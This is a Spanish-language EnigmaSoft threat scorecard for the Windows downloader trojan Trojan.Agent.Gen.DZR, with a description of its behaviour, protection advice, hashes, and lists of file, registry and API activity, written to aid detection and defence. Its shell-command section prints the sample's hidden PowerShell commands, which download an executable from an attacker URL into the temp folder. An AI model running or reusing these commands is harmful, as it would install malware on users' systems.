Agente Troyano Gen.DZR
Cuadro de Mando de Amenazas
Cuadro de mando de amenazas EnigmaSoft
EnigmaSoft Threat Scorecards son informes de evaluación de diferentes amenazas de malware que nuestro equipo de investigación ha recopilado y analizado. Los cuadros de mando de amenazas de EnigmaSoft evalúan y clasifican las amenazas utilizando varias métricas que incluyen factores de riesgo reales y potenciales, tendencias, frecuencia, prevalencia y persistencia. Los cuadros de mando de amenazas de EnigmaSoft se actualizan regularmente en función de nuestros datos y métricas de investigación y son útiles para una amplia gama de usuarios de computadoras, desde usuarios finales que buscan soluciones para eliminar malware de sus sistemas hasta expertos en seguridad que analizan amenazas.
EnigmaSoft Threat Scorecards muestra una variedad de información útil, que incluye:
Clasificación de popularidad: La posición que ocupa una amenaza específica en la base de datos de amenazas de EnigmaSoft.
Nivel de severidad: El nivel de severidad determinado de un objeto, representado numéricamente, basado en nuestro proceso de modelado de riesgo e investigación, como se explica en nuestros Criterios de evaluación de amenazas .
Computadoras infectadas: la cantidad de casos confirmados y sospechosos de una amenaza particular detectada en computadoras infectadas según lo informado por SpyHunter.
Consulte también Criterios de evaluación de amenazas .
| Clasificación de popularidad: | 19,710 |
| Nivel de amenaza: | 80 % (Elevado) |
| Visto por primera vez: | July 18, 2026 |
| Ultima vez visto: | September 1, 2026 |
| SO(s) afectados: | Windows |
Trojan.Agent.Gen.DZR es un troyano peligroso que ataca a equipos con Windows. Clasificado con un alto nivel de peligrosidad, esta amenaza está diseñada para infiltrarse silenciosamente en los sistemas, ejecutar código malicioso en segundo plano y facilitar futuras intrusiones. Se ha detectado su actividad en los últimos meses y su comportamiento coincide con el de otros troyanos descargadores genéricos que se utilizan habitualmente para distribuir software malicioso adicional a las máquinas infectadas.
Tabla de contenido
¿Qué hace Trojan.Agent.Gen.DZR?
Una vez activo en un sistema, Trojan.Agent.Gen.DZR se ejecuta silenciosamente en segundo plano sin ventanas visibles ni señales evidentes, lo que dificulta que un usuario promedio lo detecte. El análisis de su comportamiento muestra que se basa en gran medida en comandos ocultos de PowerShell ejecutados a través de la línea de comandos de Windows para descargar silenciosamente archivos adicionales desde servidores remotos al equipo infectado. Estos archivos descargados generalmente se guardan en carpetas temporales y pueden usarse para instalar componentes maliciosos adicionales.
El troyano también se comunica con servidores remotos a través de la red, utilizando funciones estándar de conexión a internet para enviar y recibir datos, lo que sugiere que puede enviar información a los atacantes o descargar nuevas instrucciones y cargas útiles. Recopila información básica sobre el equipo, como el nombre de usuario, el nombre del equipo y la configuración de red, lo que puede ayudar a los atacantes a personalizar ataques posteriores o confirmar una infección exitosa. El malware también incluye técnicas comúnmente utilizadas para evitar la detección y el análisis, como la comprobación de la presencia de herramientas de depuración y la manipulación de su propia memoria de proceso. Esta combinación de sigilo, comunicación remota y la capacidad de obtener y ejecutar más malware lo convierte en una grave amenaza, ya que puede permitir a los hackers obtener un control extenso sobre el sistema comprometido.
Cómo suele llegar a los ordenadores
El troyano Trojan.Agent.Gen.DZR suele propagarse mediante métodos engañosos en lugar de explotar una vulnerabilidad específica. Las vías de infección más comunes para este tipo de amenaza incluyen software descargado de sitios web poco fiables o maliciosos, instaladores que vienen con el sistema y archivos adjuntos de correo electrónico disfrazados de archivos inofensivos como ejecutables, imágenes o vídeos. En algunos casos, este tipo de troyanos aprovechan vulnerabilidades del sistema sin parchear para instalarse sin el conocimiento ni el consentimiento del usuario. Dado que el proceso de instalación está diseñado para ser silencioso, las víctimas a menudo no se dan cuenta de que algo ha cambiado en su ordenador.
Riesgos para el usuario
Una vez instalado, Trojan.Agent.Gen.DZR puede exponer al usuario a graves riesgos. Su capacidad para descargar y ejecutar archivos adicionales de forma silenciosa le permite actuar como puerta de entrada para otro malware, como spyware, ransomware o herramientas de acceso remoto. Sus capacidades de recopilación de información generan preocupación por la privacidad, mientras que sus funciones de comunicación en red sugieren que los atacantes podrían emitir comandos de forma remota o extraer datos. En definitiva, un equipo infectado deja de ser fiable y seguro.
Signos de infección
Dado que este troyano está diseñado para operar de forma encubierta, los síntomas visibles suelen ser mínimos. Los usuarios pueden notar actividad de red inesperada, procesos inusuales o ventanas de PowerShell que aparecen brevemente en pantalla, un rendimiento lento del sistema o archivos desconocidos que aparecen en carpetas temporales. Las alertas del software de seguridad que señalan actividad sospechosa suelen ser el indicador más fiable de una infección.
Cómo mantenerse protegido
Para reducir el riesgo de infección, los usuarios deben evitar abrir archivos adjuntos de correo electrónico de remitentes desconocidos o no verificados, especialmente archivos ejecutables disfrazados de documentos o imágenes. Mantener actualizado el sistema operativo Windows y el software instalado ayuda a cerrar las brechas de seguridad que los troyanos suelen aprovechar. Descargar software solo de fuentes oficiales y confiables, evitar el contenido pirateado y realizar copias de seguridad periódicas de los datos importantes también son hábitos de seguridad importantes. Utilizar software de seguridad confiable y actualizado, y ser precavido ante avisos o descargas inesperadas puede contribuir significativamente a proteger los sistemas de amenazas como Trojan.Agent.Gen.DZR.
Reporte de análisis
Información general
| Apellido: | Trojan.Agent.Gen.DZR |
|---|---|
| Estado de la firma: | No Signature |
Muestras conocidas
Muestras conocidas
Esta sección enumera otras muestras de archivos que se cree que están asociadas con esta familia.|
MD5:
446f7c40546602daea4c68d1747fda95
SHA1:
df4496e25c7e5ff36d95fc358c3ca3f386dfe81a
SHA256:
D3295CA27022958FB1448443351B895CB7BDDB674983BFC701FAC90A38CD32DA
Tamaño del archivo:
408.06 KB, 408064 bytes
|
Atributos de ejecutables portátiles de Windows
- File doesn't have "Rich" header
- File doesn't have exports table
- File doesn't have security information
- File has TLS information
- File is 64-bit executable
- File is console application (IMAGE_SUBSYSTEM_WINDOWS_CUI)
- File is either console or GUI application
- File is Native application (NOT .NET application)
- File is not packed
- IMAGE_FILE_DLL is not set inside PE header (Executable)
Show 1 more
- IMAGE_FILE_EXECUTABLE_IMAGE is set inside PE header (Executable Image)
Características de archivo
- GetConsoleWindow
- No Version Info
- x64
Información del bloque
Información del bloque
Durante el análisis, EnigmaSoft divide las muestras de archivos en bloques lógicos para su clasificación y comparación con otras muestras. Estos bloques se pueden usar para generar reglas de detección de malware y agrupar las muestras de archivos en familias según su código fuente, funcionalidad y otros atributos y características distintivas. Esta sección presenta un resumen de los datos de estos bloques, así como su clasificación por EnigmaSoft. También se muestra una representación visual de los datos de los bloques, cuando está disponible.| Bloques totales: | 1,065 |
|---|---|
| Bloqueos potencialmente maliciosos: | 186 |
| Bloqueos permitidos: | 826 |
| Bloques desconocidos: | 53 |
Mapa visual
? - Bloque desconocido
x - Bloqueo potencialmente malicioso
Familias similares
Familias similares
Esta sección enumera otras familias que comparten similitudes con esta familia, según el análisis de EnigmaSoft. Muchas familias de malware se crean a partir de los mismos kits de herramientas y utilizan las mismas técnicas de empaquetado y cifrado, pero extienden su funcionalidad de forma única. Familias similares también pueden compartir código fuente, atributos, iconos, subcomponentes, firmas digitales comprometidas o inválidas y características de red. Los investigadores aprovechan estas similitudes para clasificar rápidamente y de forma eficaz las muestras de archivos y ampliar las reglas de detección de malware.- Gamehack.ACC
- Trojan.Agent.Gen.DNW
- Trojan.Agent.Gen.DZR
Archivos modificados
Archivos modificados
Esta sección enumera los archivos que fueron creados, modificados, movidos o eliminados por muestras de esta familia. La actividad del sistema de archivos puede proporcionar información valiosa sobre cómo funciona el malware en el sistema operativo.| Archivo | Atributos |
|---|---|
| \device\namedpipe\dav rpc service | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| \device\namedpipe\pshost.134327898198774855.9476.defaultappdomain.powershell | Generic Read,Write Data,Write Attributes,Write extended,Append data,LEFT 524288 |
| \device\namedpipe\wkssvc | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_3huww40m.5di.ps1 | Generic Write,Read Attributes |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_bop1xh1n.hgm.psm1 | Generic Write,Read Attributes |
Modificaciones del registro
Modificaciones del registro
Esta sección enumera las claves y valores del registro que fueron creados, modificados o eliminados por muestras de esta familia. La actividad del Registro de Windows puede proporcionar información valiosa sobre la funcionalidad del malware. Además, el malware suele crear valores en el registro para iniciarse automáticamente y persistir indefinidamente después de que la infección inicial haya comprometido el sistema.| Clave::Valor | Datos | Nombre de la API |
|---|---|---|
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 畧Ｄ㪂ǝ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | ﶱｌ㪂ǝ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | 必ｏ㪂ǝ | RegNtPreCreateKey |
| HKLM\software\microsoft\tracing\rasapi32::enablefiletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::enableautofiletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::enableconsoletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::filetracingmask | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::consoletracingmask | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::maxfilesize | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::filedirectory | %windir%\tracing | RegNtPreCreateKey |
Show 7 more
| HKLM\software\microsoft\tracing\rasmancs::enablefiletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::enableautofiletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::enableconsoletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::filetracingmask | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::consoletracingmask | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::maxfilesize | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::filedirectory | %windir%\tracing | RegNtPreCreateKey |
Uso de la API de Windows
Uso de la API de Windows
Esta sección enumera las llamadas a la API de Windows que utilizan las muestras de esta familia. El análisis del uso de la API de Windows es una herramienta valiosa que puede ayudar a identificar actividades maliciosas, como el registro de pulsaciones de teclas, la escalada de privilegios de seguridad, el cifrado de datos, la exfiltración de datos, la interferencia con el software antivirus y la manipulación de solicitudes de red.| Categoría | API |
|---|---|
| Syscall Use |
Show 90 more
No se muestran arriba 31 artículos adicionales. |
| Process Manipulation Evasion |
|
| Process Shell Execute |
|
| Anti Debug |
|
| User Data Access |
|
| Encryption Used |
|
| Other Suspicious |
|
| Network Info Queried |
|
| Network Winsock2 |
|
| Network Winsock |
|
| Network Winhttp |
|
Ejecución de comandos de shell
Ejecución de comandos de shell
Esta sección enumera los comandos de la consola de Windows que ejecutan las muestras de esta familia. El malware suele utilizar los comandos de la consola de Windows con fines maliciosos, pudiendo emplearlos para elevar privilegios de seguridad, descargar y ejecutar otro malware, explotar vulnerabilidades, recopilar y extraer datos, y ocultar actividades maliciosas.
C:\WINDOWS\system32\cmd.exe cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt&_r=mffkdrh5DYZO' -OutFile $env:TEMP\BK953836.exe
|
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt&_r=mffkdrh5DYZO' -OutFile $env:TEMP\BK953836.exe
|